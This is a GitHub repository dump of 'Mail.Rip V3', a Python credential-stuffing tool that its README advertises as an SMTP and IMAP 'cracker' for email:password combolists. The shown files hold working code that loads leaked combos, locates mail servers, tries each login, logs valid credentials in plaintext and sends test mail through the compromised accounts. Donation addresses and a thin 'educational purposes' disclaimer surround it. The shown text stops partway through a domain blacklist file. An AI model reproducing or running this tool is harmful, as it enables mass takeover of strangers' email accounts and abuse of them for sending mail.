├── MailRipV3_NOGUI.py
├── README.md
├── inc_attackimap.py
├── inc_attacksmtp.py
├── inc_comboloader.py
├── inc_domainblacklist.json
├── inc_emailcontent.json
├── inc_etc.py
├── inc_imapdomains.json
├── inc_imapports.json
├── inc_imapservices.json
├── inc_mxlookup.py
├── inc_smtpports.json
├── inc_smtpservices.json
├── inc_testmail.py
└── requirements.txt
/MailRipV3_NOGUI.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/opt/python@3.8/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'DrPython3'
5 | __date__ = '2021-12-06'
6 | __version__ = 'BETA(1.2)'
7 | __contact__ = 'https://github.com/DrPython3'
8 |
9 | '''
10 | __ __ _ _ ___ _ ____
11 | | \/ |__ _(_) | | _ (_)_ __ __ _|__ /
12 | | |\/| / _` | | |_| / | '_ \ \ V /|_ \\
13 | |_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/
14 | |_|
15 | ----------------------------------------
16 |
17 | *** LEGAL NOTICES ***
18 |
19 | Mail.Rip V3 has been created for educational purposes only.
20 | It shall not be used for any kind of illegal activity nor
21 | law enforcement at any time. This applies to all cases of
22 | usage, no matter whether the code as a whole or just parts
23 | of it are being used.
24 |
25 | *** SHORT INFO ***
26 |
27 | SMTP and IMAP Checker / Cracker for Email:Pass Combolists.
28 | Further Information and Help at:
29 |
30 | https://github.com/DrPython3/MailRipV3
31 | '''
32 |
33 | # [IMPORTS]
34 | # ---------
35 |
36 | import sys
37 | import threading
38 | import inc_attackimap as ic
39 | import inc_attacksmtp as sc
40 | from queue import Queue
41 | from time import sleep
42 | from inc_comboloader import comboloader
43 | from inc_etc import clean
44 | from inc_etc import get_combofile_nogui
45 |
46 | # [VARIOUS]
47 | # ---------
48 |
49 | main_logo = '''
50 | __ __ _ _ ___ _ ____
51 | | \/ |__ _(_) | | _ (_)_ __ __ _|__ /
52 | | |\/| / _` | | |_| / | '_ \ \ V /|_ \\
53 | |_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/
54 | |_|
55 |
56 | **********************
57 | *** NO GUI VERSION ***
58 | **********************
59 |
60 | Tip or donate for faster development:
61 |
62 | (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU
63 | (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK
64 |
65 | '''
66 |
67 | # global variables and stuff:
68 | targets_total = int(0)
69 | targets_left = int(0)
70 | hits = int(0)
71 | fails = int(0)
72 |
73 | checker_queue = Queue()
74 |
75 | # [FUNCTIONS]
76 | # -----------
77 |
78 | def checker_thread(checker_type, default_timeout, default_email):
79 | '''
80 | Function for a single thread which performs the main checking process.
81 |
82 | :param str checker_type: smtp or imap
83 | :param float default_timeout: timeout for server connection
84 | :param str default_email: user's email for test messages (SMTP only)
85 | :return: None
86 | '''
87 | # set variables:
88 | global targets_left
89 | global hits
90 | global fails
91 | # start thread for chosen checker type:
92 | while True:
93 | target = str(checker_queue.get())
94 | result = False
95 | try:
96 | if checker_type == 'smtp':
97 | result = sc.smtpchecker(
98 | float(default_timeout),
99 | str(default_email),
100 | str(f'{target}')
101 | )
102 | elif checker_type == 'imap':
103 | result = ic.imapchecker(
104 | float(default_timeout),
105 | str(f'{target}')
106 | )
107 | except:
108 | pass
109 | # update stats:
110 | if result == True:
111 | hits += 1
112 | else:
113 | fails += 1
114 | targets_left -= 1
115 | checker_queue.task_done()
116 | # cooldown for checker thread:
117 | sleep(3.0)
118 | return None
119 |
120 | def checker(checker_type, default_threads, default_timeout, default_email, combofile):
121 | '''
122 | Function to control the import of combos, to start threads etc.
123 |
124 | :param str checker_type: smtp or imap
125 | :param int default_threads: amount of threads to use
126 | :param float default_timeout: timeout for server-connections
127 | :param str default_email: users's email for test-messages (SMTP only)
128 | :param str combofile: textfile with combos to import
129 | :return: True (no errors occurred), False (errors occurred)
130 | '''
131 | # set variables:
132 | global targets_total
133 | global targets_left
134 | combos_available = False
135 | try:
136 | # load combos:
137 | print('Step#1: Loading combos from file ...')
138 | try:
139 | combos = comboloader(combofile)
140 | except:
141 | combos = []
142 | targets_total = len(combos)
143 | targets_left = targets_total
144 | if targets_total > 0:
145 | combos_available = True
146 | print(f'Done! Amount of combos loaded: {str(targets_total)}\n\n')
147 | else:
148 | print('Done! No combos loaded.\n\n')
149 | # start checker threads:
150 | if combos_available == True:
151 | print(f'Step#2: Starting threads for {checker_type} checker ...')
152 | for _ in range(default_threads):
153 | single_thread = threading.Thread(
154 | target=checker_thread,
155 | args=(str(f'{checker_type}'),default_timeout,default_email),
156 | daemon=True
157 | )
158 | single_thread.start()
159 | # fill queue with combos:
160 | for target in combos:
161 | checker_queue.put(target)
162 | print('Done! Checker started and running - see stats in window title.\n\n')
163 | # checker stats in window title:
164 | while targets_left > 0:
165 | try:
166 | sleep(1.0)
167 | titlestats = str(f'LEFT: {str(targets_left)} # HITS: {str(hits)} # FAILS: {str(fails)}')
168 | sys.stdout.write('\33]0;' + titlestats + '\a')
169 | sys.stdout.flush()
170 | except:
171 | pass
172 | # finish checker:
173 | print('Step#3: Finishing checking ...')
174 | checker_queue.join()
175 | print('Done!\n\n')
176 | sleep(3.0)
177 | else:
178 | print('Press [ENTER] and try again, please!')
179 | input()
180 | clean()
181 | return True
182 | except:
183 | clean()
184 | return False
185 |
186 | def main():
187 | '''
188 | Simple function for main menu and checker setup.
189 |
190 | :return: None
191 | '''
192 | # set default values for needed variables:
193 | default_timeout = float(3.0)
194 | default_threads = int(5)
195 | default_email = str('user@email.com')
196 | combofile = str('combos.txt')
197 | checker_type = str('smtp')
198 | clean()
199 | print(main_logo + '\n\n')
200 | # get values for variables from user input:
201 | try:
202 | # type of checking (SMTP / IMAP):
203 | checker_choice = int(
204 | input('Checker Type [1 = smtp or 2 = imap]: ')
205 | )
206 | if checker_choice == 2:
207 | checker_type = 'imap'
208 | if checker_choice == 1:
209 | # (SMTP only) user's email address for testmailer:
210 | default_email = str(
211 | input('Your Email [e.g. your@email.com]: ')
212 | )
213 | # threads to use:
214 | default_threads = int(
215 | input('Checker Threads [e.g. 1]: ')
216 | )
217 | # default timeout for connections:
218 | default_timeout = float(
219 | input('Checker Timeout in Seconds [e.g. 3]: ')
220 | )
221 | # start open-file-dialog using tkinter:
222 | combofile = get_combofile_nogui()
223 | # ask for starting the checker:
224 | start_now = str(
225 | input('\n\nStart Checker = [y] or Exit = [n]: ')
226 | )
227 | # start checker for option "yes":
228 | if start_now in ['y', 'Y', 'yes', 'Yes']:
229 | clean()
230 | print(
231 | '\n\n'
232 | + f'Mail.Rip V3 - running ({checker_type}) checker:\n'
233 | + 38*'-' + '\n\n'
234 | + f'user email: {default_email}\n'
235 | + f'threads: {str(default_threads)}\n'
236 | + f'timeout: {str(default_timeout)}\n\n'
237 | + 38*'-' + '\n'
238 | )
239 | print(
240 | 'Tip or donate for faster development:\n\n'
241 | + ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n'
242 | + ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n'
243 | )
244 | print('Please be patient and wait while all combos are being checked ...\n\n')
245 | checker_result = checker(
246 | str(checker_type),
247 | int(default_threads),
248 | float(default_timeout),
249 | str(default_email),
250 | str(combofile)
251 | )
252 | # show summary and quit:
253 | if checker_result == True:
254 | print(
255 | '\n\n'
256 | + f'Mail.Rip V3 - ({checker_type}) checker results:\n'
257 | + 38*'-' + '\n\n'
258 | + f'combos: {str(targets_total)}\n'
259 | + f'hits: {str(hits)}\n'
260 | + f'fails: {str(fails)}\n\n'
261 | + 38*'-' + '\n'
262 | )
263 | print(
264 | 'Tip or donate for faster development:\n\n'
265 | + ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n'
266 | + ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n\n'
267 | )
268 | print('Press [ENTER] to exit ...')
269 | input()
270 | else:
271 | clean()
272 | print(
273 | '\n\n\n'
274 | + '*** SORRY ***\n'
275 | + 'Errors occurred while checking your combos! Running the checker failed.\n'
276 | + 'Press [ENTER] to exit ...'
277 | )
278 | input()
279 | clean()
280 | # exit for option "no":
281 | elif start_now in ['n', 'N', 'no', 'No']:
282 | clean()
283 | else:
284 | clean()
285 | print('\n\n*** SORRY ***\nSomething went wrong. Press [ENTER] and try again, please!\n')
286 | input()
287 | except:
288 | clean()
289 | print('\n\n*** SORRY ***\nAn error occurred. Press [ENTER] and try again, please!\n')
290 | input()
291 | sys.exit()
292 |
293 | # [MAIN]
294 | # ------
295 |
296 | main()
297 |
298 | # DrPython3 (C) 2021 @ GitHub.com
299 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Mail.Rip V3
2 |
3 | **Mail.Rip** - your **SMTP checker / SMTP cracker** and **IMAP checker / IMAP cracker** for testing mailpass combolists!
4 | With a user-friendly GUI based on [tkinter](https://docs.python.org/3/library/tkinter.html) - easy to use and working with all email providers so far.
5 |
6 | # Legal Notices
7 |
8 | **This repository is only public for educational purposes!**
9 |
10 | All content provided here shall not be used for any kind of illegal activity nor for law enforcement at any time.
11 | This restrictions apply to all cases of usage, no matter whether the whole code or just parts of it are being used.
12 |
13 | ***Visitors (users) declare their consent without reservations by:***
14 |
15 | - visiting this repository,
16 | - downloading or / and
17 | - using any kind of its content (code, parts of the code, files etc.).
18 |
19 | # Features
20 |
21 | Mail.Rip V3 offers the following features:
22 |
23 | - [x] NO-GUI-version (status: BETA#1.2)
24 | - [ ] ~~GUI-version~~ (status: coming soon)
25 | - [x] written in and for Python 3.8+
26 | - [x] works with all OS (tested on Windows, Linux and macOS)
27 | - [x] SMTP checker with inbuilt email delivery test
28 | - [x] IMAP checker (very fast)
29 | - [x] well sorted logging for results
30 | - [x] multi-threading
31 |
32 | ... with more to come!
33 |
34 | Feel free to ask for any improvements, new features etc. in the discussion section.
35 | Meanwhile have an eye on the status information below for information about latest updates.
36 |
37 | # Status
38 |
39 | ***INFO: BETA started! See 'Status Logs' for detailed information.***
40 |
41 | You can also try and use the **previous version: [Mail.Rip V2](https://github.com/DrPython3/MailRipV2)**.
42 | Nevertheless, help improving Mail.Rip V3! Test BETA versions and report any issues you notice, please.
43 |
44 | ## Status Logs
45 |
46 | **[2021/12/06]:** **_NO-GUI-version_** release BETA#1.2: improved SMTP-checker and mainfile.
47 |
48 | **[2021/12/05]:** **_NO-GUI-version_** release BETA#1.1: several minor improvements.
49 |
50 | **[2021/12/04]:** **_NO-GUI-version_** available (BETA#1)! **_GUI-version_** coming soon (BETA).
51 |
52 | **[2021/11/26]:** Preparing **_BETA release_** of the NO-GUI-version for open testing!
53 |
54 | **[2021/10/10]:** Minor updates for included stuff.
55 |
56 | **[2021/10/09]:** Uploading various included or updated stuff and preparing beta release.
57 |
58 | **[2021/10/06]:** Still working on the GUI part (while still learning writing GUI *lol*).
59 |
60 | **[2021/08/28]:** Short update: still working on the GUI stuff.
61 |
62 | # Quick Start Guide
63 |
64 | ## NO-GUI-version (command line)
65 |
66 | After downloading or cloning all files from this repository, install the required Python packages.
67 | Therefor, use the _requirements.txt_ with PIP:
68 |
69 | `pip install -r requirements.txt`
70 |
71 | Wait until the installation of all packages has been finished.
72 | Make sure your combofile is encoded with UTF-8 and start the checker:
73 |
74 | `python MailRipV3_NOGUI.py`
75 |
76 | Now follow the messages on your screen. You have to set some options, first.
77 | A window for choosing your combofile will show up afterwards.
78 |
79 | Finally, confirm the start of the checker and Mail.Rip V3 wil do the rest for you.
80 | After checking of your combos, look into the results directory to retrieve your hits.
81 |
82 | ## GUI-version
83 |
84 | _Not available yet._
85 |
86 | # Detailed Information
87 |
88 | _Not available yet._
89 |
90 | # Support this Project
91 |
92 | Mail.Rip V3 provides many improvements regarding previous versions.
93 | But there is still a lot of work to be done!
94 |
95 | Tip or donate for faster development, please:
96 |
97 | - **BTC:** 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU
98 | - **LTC:** LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK
99 |
100 | Every donation helps!
101 |
--------------------------------------------------------------------------------
/inc_attackimap.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/opt/python@3.8/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'DrPython3'
5 | __date__ = '2021-12-05'
6 | __version__ = 'BETA(1.1)'
7 | __contact__ = 'https://github.com/DrPython3'
8 |
9 | '''
10 | ---------------------------------------------
11 | Functions for Checking Mailpass Combos (IMAP)
12 | ---------------------------------------------
13 |
14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
15 | '''
16 |
17 | # [IMPORTS]
18 | # ---------
19 |
20 | import sys
21 | import ssl
22 | import socket
23 | import imaplib
24 | import json
25 | from inc_etc import result
26 |
27 | # [VARIABLES AND OTHER STUFF]
28 | # ---------------------------
29 |
30 | try:
31 | # load IMAP lists and dictionary from JSON files:
32 | with open('inc_imapdomains.json') as inc_imapdomains:
33 | load_imapdomains = json.load(inc_imapdomains)
34 | imap_domains = (load_imapdomains['imapdomains'])
35 | with open('inc_imapports.json') as inc_imapports:
36 | load_imapports = json.load(inc_imapports)
37 | imap_ports = (load_imapports['imapports'])
38 | with open('inc_imapservices.json') as inc_imapservices:
39 | load_imapservices = json.load(inc_imapservices)
40 | imap_services = (load_imapservices['imapservices'])
41 | except:
42 | # on errors, set empty lists and dictionary:
43 | imap_domains = []
44 | imap_ports = []
45 | imap_services = {}
46 |
47 | # [FUNCTIONS]
48 | # -----------
49 |
50 | def imapchecker(default_timeout, target):
51 | '''
52 | Main checker function (IMAP).
53 |
54 | :param float default_timeout: connection timeout set by user
55 | :param str target: emailpass combo to check
56 | :return: True (valid login), False (login not valid)
57 | '''
58 | # start the checking:
59 | try:
60 | # set variables and stuff:
61 | sslcontext = ssl.create_default_context()
62 | # because imaplib does not support timeout, socket here:
63 | socket.setdefaulttimeout(float(default_timeout))
64 | output_hits = str('imap_valid')
65 | output_checked = str('imap_checked')
66 | target_email = str('')
67 | target_user = str('')
68 | target_password = str('')
69 | target_host = str('')
70 | target_port = int(0)
71 | service_info = str('')
72 | service_found = False
73 | connection_ok = False
74 | md5_login = False
75 | login_valid = False
76 | checker_result = False
77 | # included lists and dictionary for IMAP checker:
78 | global imap_domains
79 | global imap_ports
80 | global imap_services
81 | # prepare target information:
82 | new_target = str(str(target).replace('\n', ''))
83 | target_email, target_password = new_target.split(':')
84 | target_user = str(target_email)
85 | # try to get host and port from dictionary:
86 | try:
87 | service_info = str(imap_services[str(target_email.split('@')[1])])
88 | target_host = str(service_info.split(':')[0])
89 | target_port = int(service_info.split(':')[1])
90 | # declare service information founnd:
91 | service_found = True
92 | # if previous step fails, search host and port using common values:
93 | except:
94 | pass
95 | # establish connection to host (details found in imap_services):
96 | if service_found == True:
97 | try:
98 | # SSL connection:
99 | if int(target_port) == int(993):
100 | imap_connection = imaplib.IMAP4_SSL(
101 | host=str(target_host),
102 | port=int(target_port),
103 | ssl_context=sslcontext
104 | )
105 | # declare connection established:
106 | connection_ok = True
107 | # regular connection:
108 | else:
109 | imap_connection = imaplib.IMAP4(
110 | host=str(target_host),
111 | port=int(target_port)
112 | )
113 | # TLS:
114 | try:
115 | imap_connection.starttls(
116 | ssl_context=sslcontext
117 | )
118 | except:
119 | pass
120 | # declare connection established:
121 | connection_ok = True
122 | except:
123 | pass
124 | # if no connection established, try with common values:
125 | if connection_ok == False:
126 | for subdomain in imap_domains:
127 | test_host = str(str(subdomain) + str(target_email.split('@')[1]).lower())
128 | for next_port in imap_ports:
129 | try:
130 | # SSL connection:
131 | if int(next_port) == int(993):
132 | imap_connection = imaplib.IMAP4_SSL(
133 | host=str(test_host),
134 | port=int(next_port),
135 | ssl_context=sslcontext
136 | )
137 | # set variables to found host:
138 | target_host = str(test_host)
139 | target_port = int(next_port)
140 | # declare connection established:
141 | connection_ok = True
142 | # regular connection:
143 | else:
144 | imap_connection = imaplib.IMAP4(
145 | host=str(test_host),
146 | port=int(next_port)
147 | )
148 | # TLS:
149 | try:
150 | imap_connection.starttls(
151 | ssl_context=sslcontext
152 | )
153 | except:
154 | pass
155 | # set variables to found host:
156 | target_host = str(test_host)
157 | target_port = int(next_port)
158 | # declare connection established:
159 | connection_ok = True
160 | break
161 | except:
162 | continue
163 | if connection_ok == True:
164 | break
165 | else:
166 | continue
167 | # test login credentials using established connection:
168 | if connection_ok == True:
169 | try:
170 | # MD5 authentification:
171 | if 'AUTH=CRAM-MD5' in imap_connection.capabilities:
172 | md5_login = True
173 | # check login credentials using CRAM-MD5:
174 | try:
175 | login_response, login_message = imap_connection.login_cram_md5(
176 | user=str(target_user),
177 | password=str(target_password)
178 | )
179 | if str('OK') in login_response:
180 | # declare login valid:
181 | login_valid = True
182 | # on errors try login with user ID from email:
183 | except:
184 | try:
185 | target_user = str(target_email.split('@')[0])
186 | login_response, login_message = imap_connection.login_cram_md5(
187 | user=str(target_user),
188 | password=str(target_password)
189 | )
190 | if str('OK') in login_response:
191 | # declare login valid:
192 | login_valid = True
193 | except:
194 | result(output_checked, str(f'{new_target};result=md5-login failed'))
195 | else:
196 | pass
197 | except:
198 | pass
199 | if md5_login == False:
200 | # reegular login, no CRAM-MD5:
201 | # login with user = email:
202 | try:
203 | login_response, login_message = imap_connection.login(
204 | user=str(target_user),
205 | password=str(target_password)
206 | )
207 | if str('OK') in login_response:
208 | # declare login valid:
209 | login_valid = True
210 | # on errors try login with user ID from email:
211 | except:
212 | try:
213 | target_user = str(target_email.split('@')[0])
214 | login_response, login_message = imap_connection.login(
215 | user=str(target_user),
216 | password=str(target_password)
217 | )
218 | if str('OK') in login_response:
219 | # declare login valid:
220 | login_valid = True
221 | except:
222 | result(output_checked, str(f'{new_target};result=login failed'))
223 | # no connection established, write log for target:
224 | else:
225 | result(output_checked, str(f'{new_target};result=no connection'))
226 | # TODO: probably change to select method ...
227 | # with valid login, try to list mailboxes:
228 | if login_valid == True:
229 | try:
230 | list_response, mailbox_list = imap_connection.list()
231 | if str('OK') in list_response:
232 | checker_result = True
233 | result(output_checked, str(f'{new_target};result=login valid, listing mailboxes ok'))
234 | else:
235 | result(output_checked, str(f'{new_target}:result=login valid, listing mailboxes failed'))
236 | except:
237 | pass
238 | try:
239 | # TODO: in case of using select method above, send "close" first ...
240 | imap_connection.logout()
241 | except:
242 | pass
243 | if checker_result == True or login_valid == True:
244 | result_output = str(f'email={str(target_email)}, host={str(target_host)}:{str(target_port)}, login={str(target_user)}:{str(target_password)}')
245 | result(output_hits, result_output)
246 | # show found login on screen:
247 | print(f'[VALID] {result_output}')
248 | return True
249 | else:
250 | return False
251 | # on any errors while checking, write log before exit:
252 | except:
253 | result(output_checked, str(f'{new_target};result=check failed'))
254 | return False
255 |
256 | # DrPython3 (C) 2021 @ GitHub.com
257 |
--------------------------------------------------------------------------------
/inc_attacksmtp.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/opt/python@3.8/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'DrPython3'
5 | __date__ = '2021-12-06'
6 | __version__ = 'BETA(1.2)'
7 | __contact__ = 'https://github.com/DrPython3'
8 |
9 | '''
10 | ---------------------------------------------
11 | Functions for Checking Mailpass Combos (SMTP)
12 | ---------------------------------------------
13 |
14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
15 | '''
16 |
17 | # [IMPORTS]
18 | # ---------
19 |
20 | import sys
21 | import ssl
22 | import smtplib
23 | import json
24 | from inc_testmail import mailer
25 | from inc_etc import result
26 | from inc_mxlookup import get_host
27 |
28 | # [VARIABLES AND OTHER STUFF]
29 | # ---------------------------
30 |
31 | try:
32 | # load SMTP lists and dictionary from JSON files:
33 | with open('inc_smtpports.json') as inc_smtpports:
34 | load_smtpports = json.load(inc_smtpports)
35 | smtp_ports = (load_smtpports['smtpports'])
36 | with open('inc_smtpservices.json') as inc_smtpservices:
37 | load_smtpservices = json.load(inc_smtpservices)
38 | smtp_services = (load_smtpservices['smtpservices'])
39 | except:
40 | # on errors, set empty lists and dictionary:
41 | smtp_ports = []
42 | smtp_services = {}
43 |
44 | # [FUNCTIONS]
45 | # -----------
46 |
47 | def smtpchecker(default_timeout, default_email, target):
48 | '''
49 | Main checker function (SMTP) including testmail sending in case a valid login is found.
50 |
51 | :param float default_timeout: connection timeout set by user
52 | :param str default_email: user email for sending testmail
53 | :param str target: emailpass combo to check
54 | :return: True (valid login), False (login not valid)
55 | '''
56 | # start the checking:
57 | try:
58 | # variables and stuff:
59 | sslcontext = ssl.create_default_context()
60 | output_hits = str('smtp_valid')
61 | output_checked = str('smtp_checked')
62 | output_testmail = str('smtp_testmessages')
63 | target_email = str('')
64 | target_user = str('')
65 | target_password = str('')
66 | target_host = str('')
67 | target_port = int(0)
68 | service_info = str('')
69 | service_found = False
70 | connection_ok = False
71 | checker_result = False
72 | email_sent = False
73 | # included lists and dictionary for SMTP checker:
74 | global smtp_domains
75 | global smtp_ports
76 | global smtp_services
77 | # prepare target information:
78 | new_target = str(str(target).replace('\n', ''))
79 | target_email, target_password = new_target.split(':')
80 | target_user = str(target_email)
81 | # try to get host and port from dictionary:
82 | try:
83 | service_info = str(smtp_services[str(target_email.split('@')[1])])
84 | target_host = str(service_info.split(':')[0])
85 | target_port = int(service_info.split(':')[1])
86 | # declare service details found:
87 | service_found = True
88 | except:
89 | pass
90 | # establish connection with any found service details:
91 | if service_found == True:
92 | try:
93 | # SSL-connection:
94 | if int(target_port) == int(465):
95 | smtp_connection = smtplib.SMTP_SSL(
96 | host=str(target_host),
97 | port=int(target_port),
98 | timeout=default_timeout,
99 | context=sslcontext
100 | )
101 | smtp_connection.ehlo()
102 | # declare connection established:
103 | connection_ok = True
104 | # regular connection:
105 | else:
106 | smtp_connection = smtplib.SMTP(
107 | host=str(target_host),
108 | port=int(target_port),
109 | timeout=default_timeout
110 | )
111 | smtp_connection.ehlo()
112 | # TLS:
113 | try:
114 | smtp_connection.starttls(
115 | context=sslcontext
116 | )
117 | smtp_connection.ehlo()
118 | except:
119 | pass
120 | # declare connection established:
121 | connection_ok = True
122 | except:
123 | pass
124 | # if connection failed or no service details found, try to find host:
125 | if service_found == False or connection_ok == False:
126 | try:
127 | # try to get from MX records:
128 | mx_result, found_host = get_host(default_timeout, target_email)
129 | except:
130 | mx_result = False
131 | found_host = str('')
132 | # if host found using MX records:
133 | if mx_result == True:
134 | target_host = str(found_host)
135 | # get port:
136 | for next_port in smtp_ports:
137 | # SSL-connection:
138 | try:
139 | if int(next_port) == int(465):
140 | smtp_connection = smtplib.SMTP_SSL(
141 | host=str(target_host),
142 | port=int(next_port),
143 | timeout=default_timeout,
144 | context=sslcontext
145 | )
146 | smtp_connection.ehlo()
147 | # change variables for established connections:
148 | target_port = int(next_port)
149 | connection_ok = True
150 | else:
151 | # regular connection:
152 | smtp_connection = smtplib.SMTP(
153 | host=str(target_host),
154 | port=int(next_port),
155 | timeout=default_timeout
156 | )
157 | smtp_connection.ehlo()
158 | # TLS:
159 | try:
160 | smtp_connection.starttls(
161 | context=sslcontext
162 | )
163 | smtp_connection.ehlo()
164 | except:
165 | pass
166 | # change variables for established connections:
167 | target_port = int(next_port)
168 | connection_ok = True
169 | break
170 | except:
171 | continue
172 | # checking for SMTP host with common domains deleted here!
173 | # with connection established, check login details:
174 | if connection_ok == True:
175 | try:
176 | try:
177 | # user = email:
178 | smtp_connection.login(
179 | user=str(target_user),
180 | password=str(target_password)
181 | )
182 | # declare login valid:
183 | checker_result = True
184 | except:
185 | # user = userid from email:
186 | target_user = str(target_email.split('@')[0])
187 | smtp_connection.login(
188 | user=str(target_user),
189 | password=str(target_password)
190 | )
191 | # declare login valid:
192 | checker_result = True
193 | try:
194 | smtp_connection.quit()
195 | except:
196 | pass
197 | # write logs:
198 | result_output = str(f'email={str(target_email)}, host={str(target_host)}:{str(target_port)}, login={str(target_user)}:{str(target_password)}')
199 | result(output_hits, result_output)
200 | result(output_checked, str(f'{new_target};result=login valid'))
201 | # show found login on screen:
202 | print(f'[VALID] {result_output}')
203 | except:
204 | result(output_checked, str(f'{new_target};result=login failed'))
205 | # no connection established, write log:
206 | else:
207 | result(output_checked, str(f'{new_target};result=no connection'))
208 | # with valid login, try to send testmail:
209 | if checker_result == True:
210 | try:
211 | email_sent = mailer(
212 | str(default_email),
213 | str(target_email),
214 | str(target_host),
215 | int(target_port),
216 | str(target_user),
217 | str(target_password)
218 | )
219 | # write log for testmail:
220 | if email_sent == True:
221 | result(output_testmail, str(f'{new_target};result=testmessage sent'))
222 | else:
223 | result(output_testmail, str(f'{new_target};result=testmessage not sent'))
224 | # if testmail fails, write log:
225 | except:
226 | result(output_testmail, str(f'{new_target};result=testmessage failed'))
227 | return True
228 | else:
229 | return False
230 | # on any errors while checking, write log before exit:
231 | except:
232 | result(output_checked, str(f'{new_target};result=check failed'))
233 | return False
234 |
235 | # DrPython3 (C) 2021 @ GitHub.com
236 |
--------------------------------------------------------------------------------
/inc_comboloader.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/opt/python@3.8/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'DrPython3'
5 | __date__ = '2021-12-04'
6 | __version__ = '2.4'
7 | __contact__ = 'https://github.com/DrPython3'
8 |
9 | '''
10 | ---------------------------------
11 | Functions for Handling Combolists
12 | ---------------------------------
13 |
14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
15 | '''
16 |
17 | # [IMPORTS]
18 | # ---------
19 |
20 | import sys
21 | from datetime import datetime
22 | from inc_etc import result
23 | from inc_etc import email_verification
24 | from inc_etc import blacklist_check
25 |
26 | # [FUNCTIONS]
27 | # -----------
28 |
29 | def comboloader(input_file):
30 | '''
31 | Loads combos from a given file.
32 |
33 | :param str input_file: file containing the combos
34 | :return: list with loaded combos
35 | '''
36 | # set variables:
37 | loaded_combos = []
38 | output_blacklist = str('combos_blacklisted')
39 | output_clean = str('combos_loaded')
40 | # log message on start:
41 | timestamp = datetime.now()
42 | output_startup = str(
43 | 'Comboloader started on: '
44 | + str(timestamp.strftime('%Y-%m-%d %H:%M:%S'))
45 | + f', combofile: {input_file}'
46 | )
47 | # logging import of combofile:
48 | result(output_blacklist, str('\n' + output_startup + '\n' + len(output_startup)*'='))
49 | result(output_clean, str('\n' + output_startup + '\n' + len(output_startup) * '='))
50 | # import the combos:
51 | try:
52 | for line in open(input_file, 'r'):
53 | try:
54 | # replace any other seperator than semicolon in combos:
55 | new_combo = str(
56 | line.replace(';', ':').replace(',', ':').replace('|', ':')
57 | )
58 | # check combo for email address:
59 | with_email = email_verification(
60 | new_combo.split(':')[0]
61 | )
62 | if with_email == False:
63 | continue
64 | # check email domain against provider blacklist:
65 | blacklisted = blacklist_check(
66 | new_combo.split(':')[0]
67 | )
68 | if blacklisted == True:
69 | new_combo = str(new_combo.replace('\n', ''))
70 | result(output_blacklist,new_combo)
71 | continue
72 | # add unique combos to target-list:
73 | if new_combo in loaded_combos:
74 | continue
75 | else:
76 | loaded_combos.append(new_combo)
77 | new_combo = str(new_combo.replace('\n', ''))
78 | result(output_clean, new_combo)
79 | except:
80 | continue
81 | # write logs when finished and quit:
82 | result(output_blacklist, str(f'\nCombos imported from file: {input_file}.\n=== END OF IMPORT ==='))
83 | result(output_clean, str(f'\nCombos imported from file: {input_file}.\n=== END OF IMPORT ==='))
84 | except:
85 | result(output_blacklist, str(f'\nAn error occurred while importing the combos from file: {input_file}.\n=== END OF IMPORT ==='))
86 | result(output_clean, str(f'\nAn error occurred while importing the combos from file: {input_file}.\n=== END OF IMPORT ==='))
87 | return loaded_combos
88 |
89 | # DrPython3 (C) 2021 @ GitHub.com
90 |
--------------------------------------------------------------------------------
/inc_domainblacklist.json:
--------------------------------------------------------------------------------
1 | {
2 | "domainblacklist":[
3 | "protonmail.com",
4 | "yandex.ru",
5 | "0815.ru",
6 | "0wnd.net",
7 | "0wnd.org",
8 | "10minutemail.co.za",
9 | "10minutemail.com",
10 | "123-m.com",
11 | "163.com",
12 | "1fsdfdsfsdf.tk",
13 | "1pad.de",
14 | "20minutemail.com",
15 | "21cn.com",
16 | "2fdgdfgdfgdf.tk",
17 | "2prong.com",
18 | "30minutemail.com",
19 | "33mail.com",
20 | "3trtretgfrfe.tk",
21 | "4gfdsgfdgfd.tk",
22 | "4warding.com",
23 | "5ghgfhfghfgh.tk",
24 | "6hjgjhgkilkj.tk",
25 | "6paq.com",
26 | "7tags.com",
27 | "9ox.net",
28 | "a-bc.net",
29 | "agedmail.com",
30 | "ama-trade.de",
31 | "amilegit.com",
32 | "amiri.net",
33 | "amiriindustries.com",
34 | "anonmails.de",
35 | "anonymbox.com",
36 | "antichef.com",
37 | "antichef.net",
38 | "antireg.ru",
39 | "antispam.de",
40 | "antispammail.de",
41 | "armyspy.com",
42 | "artman-conception.com",
43 | "azmeil.tk",
44 | "baxomale.ht.cx",
45 | "beefmilk.com",
46 | "bigstring.com",
47 | "binkmail.com",
48 | "bio-muesli.net",
49 | "bobmail.info",
50 | "bodhi.lawlita.com",
51 | "bofthew.com",
52 | "bootybay.de",
53 | "boun.cr",
54 | "bouncr.com",
55 | "breakthru.com",
56 | "brefmail.com",
57 | "bsnow.net",
58 | "bspamfree.org",
59 | "bugmenot.com",
60 | "bund.us",
61 | "burstmail.info",
62 | "buymoreplays.com",
63 | "byom.de",
64 | "c2.hu",
65 | "card.zp.ua",
66 | "casualdx.com",
67 | "cek.pm",
68 | "centermail.com",
69 | "centermail.net",
70 | "chammy.info",
71 | "childsavetrust.org",
72 | "chogmail.com",
73 | "choicemail1.com",
